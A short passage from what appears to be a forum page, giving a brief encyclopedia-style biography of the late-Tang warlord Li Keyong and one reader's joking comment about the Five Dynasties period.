李克用(856年10月24日—908年2月23日),字翼圣,本姓朱邪,后赐姓李氏,祖籍陇右金城, 出生于神武川新城(今山西省应县),沙陀族。唐末至五代初年军阀,后唐王朝奠基人。后唐庄宗李存勖之父。iotseczone优秀创作者
2025-08-07 11:16
KDEV的头像
我嘞个五代十国啊
2025-08-07 13:50
投稿
签到
联系我们
关于我们